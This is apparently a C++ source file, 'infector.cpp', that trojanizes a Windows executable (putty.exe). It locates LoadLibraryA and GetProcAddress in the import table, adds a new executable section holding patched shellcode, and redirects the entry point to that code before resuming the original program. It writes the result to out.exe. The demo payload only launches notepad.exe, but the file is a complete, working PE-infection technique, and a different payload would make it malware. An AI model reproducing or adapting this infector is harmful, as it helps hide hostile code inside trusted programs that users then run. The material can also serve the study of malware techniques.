// infector.cpp : Defines the entry point for the console application.
//

#include <Windows.h>
#include <stdio.h>
#include <string>
#include "PE_class.h"

using namespace std;

DWORD FindInIat(PE_file* PE,string fun)
{
	HINSTANCE hInstance =(HINSTANCE)PE->buf;
	PIMAGE_DOS_HEADER pdosheader = (PIMAGE_DOS_HEADER)hInstance;
	PIMAGE_NT_HEADERS pntheaders = (PIMAGE_NT_HEADERS)((DWORD)hInstance + pdosheader->e_lfanew);
	PIMAGE_SECTION_HEADER psectionheader = (PIMAGE_SECTION_HEADER)(pntheaders + 1);
	PIMAGE_IMPORT_DESCRIPTOR pimportdescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((DWORD)hInstance + 
		PE->RVA_to_RAW(pntheaders->OptionalHeader.DataDirectory[1].VirtualAddress));
	PIMAGE_THUNK_DATA pthunkdatain, pthunkdataout;
	PIMAGE_IMPORT_BY_NAME pimportbyname;

	PCHAR ptr;
	std::string str;
	int i=0;


	while ( pimportdescriptor->TimeDateStamp != 0 ||pimportdescriptor->Name != 0)
	{
		ptr = (PCHAR)((DWORD)hInstance+ PE->RVA_to_RAW((DWORD)pimportdescriptor->Name));
		i=0;
		
		pthunkdataout = (PIMAGE_THUNK_DATA)((DWORD)hInstance + PE->RVA_to_RAW((DWORD)pimportdescriptor->FirstThunk));
		if (pimportdescriptor->Characteristics == 0)
		{
			pthunkdatain = pthunkdataout;
		}
		else 
		{
			pthunkdatain = (PIMAGE_THUNK_DATA)((DWORD)hInstance +PE->RVA_to_RAW((DWORD)pimportdescriptor->Characteristics));
		}

		while ( pthunkdatain->u1.AddressOfData != NULL)
		{
			if ((DWORD)pthunkdatain->u1.Ordinal & IMAGE_ORDINAL_FLAG) 
			{
				//not supported yet
			}	
			else
			{
				pimportbyname = (PIMAGE_IMPORT_BY_NAME)(PE->RVA_to_RAW((DWORD)pthunkdatain->u1.AddressOfData) + (DWORD)hInstance);
				str=(char*)pimportbyname->Name;
				
				if(str==fun)
				{
					return pimportdescriptor->FirstThunk+(i*4);
				}

			}
			i++;
			pthunkdatain++;
			pthunkdataout++;
		}
		pimportdescriptor++; 		


	}




return 0;
}

int main(int argc, CHAR* argv[])
{
	PE_file PE("putty.exe",0x1000);
	DWORD LoadLib_RVA=FindInIat(&PE,"LoadLibraryA");
	DWORD GetProc_RVA=FindInIat(&PE,"GetProcAddress");
	if(LoadLib_RVA!=0)
	{
	printf("LoadLibraryA finded in: 0x%.8x\n",LoadLib_RVA);
	}
	else
	{
		printf("LoadLibraryA not finded\n");
		return 0;
	}

	if(GetProc_RVA!=0)
	{
	printf("GetProcAddress finded in: 0x%.8x\n",GetProc_RVA);
	}
	else
	{
		printf("GetProcAddress not finded\n");
		return 0;
	}

	PE.AddNewSection(0x1000,0x1000,0x60000020,".add");
	int s_count=PE.Get_Section_Count();
	IMAGE_SECTION_HEADER* s=PE.GetSectHeader(s_count-1);
	char* buf=PE.buf+s->PointerToRawData;//set buffer to new section
	char strings[128];
	memset(strings,0,128);
	int str_pos=0;

	DWORD open_RVA=0;
	DWORD notepad_RVA;
	DWORD lib_RVA;
	DWORD shell_RVA;
	//String generation
	strcpy(strings,"open");
	str_pos+=strlen("open")+1;
	notepad_RVA=str_pos;
	strcpy((char*)(strings+str_pos),"notepad.exe");
	str_pos+=strlen("notepad.exe")+1;
	lib_RVA=str_pos;
	strcpy((char*)(strings+str_pos),"Shell32.dll");
	str_pos+=strlen("Shell32.dll")+1;
	shell_RVA=str_pos;
	strcpy((char*)(strings+str_pos),"ShellExecuteA");
	str_pos+=strlen("ShellExecuteA")+1;
	
	memcpy(buf,strings,128);

	DWORD IB=PE.Get_IB();//Get ImageBase

	DWORD LoadLib=LoadLib_RVA+IB;
	DWORD GetProc=GetProc_RVA+IB;
	DWORD open=IB+s->VirtualAddress+open_RVA;
	DWORD notepad=IB+s->VirtualAddress+notepad_RVA;
	DWORD lib=IB+s->VirtualAddress+lib_RVA;
	DWORD shell=IB+s->VirtualAddress+shell_RVA;
	DWORD EP=PE.Get_EP()+IB;//entry point
	
	/*
PUSHAD
PUSH DEADC0DE ;Shell32.dll
CALL DWORD PTR DS:[12345678];LoadLibraryA
PUSH DEADFACE;ShellExecuteA
PUSH EAX 
CALL DWORD PTR DS:[12345678];GetProcAddress
PUSH 1
PUSH 0
PUSH 0
PUSH DEADC0DE ;notepad.exe
PUSH DEADFACE ;open
PUSH 0
CALL EAX ;ShellExecuteA
POPAD
PUSH 12345678 
RET

*/


	char shellcode[]="\x60\x68\xDE\xC0\xAD\xDE\xFF\x15\x78\x56\x34\x12\x68\xCE\xFA\xAD\xDE\x50\xFF\x15\x78\x56\x34\x12\x6A\x01\x6A\x00\x6A\x00\x68\xDE\xC0\xAD\xDE\x68\xCE\xFA\xAD\xDE\x6A\x00\xFF\xD0\x61\x68\x78\x56\x34\x12\xC3";

	//patch
	memcpy((char*)(shellcode+2),&lib,4);
	memcpy((char*)(shellcode+8),&LoadLib,4);
	memcpy((char*)(shellcode+13),&shell,4);
	memcpy((char*)(shellcode+20),&GetProc,4);
	memcpy((char*)(shellcode+31),&notepad,4);
	memcpy((char*)(shellcode+36),&open,4);
	memcpy((char*)(shellcode+46),&EP,4);

	memcpy((char*)(buf+128),shellcode,sizeof(shellcode));
	PE.GetFileHeader()->Characteristics|=0x01;//delete relocation
	PE.GetOptionalHeader()->AddressOfEntryPoint=s->VirtualAddress+128;//set new entry point

	
	PE.SavePE("out.exe");


	system("PAUSE");
	return 0;
}

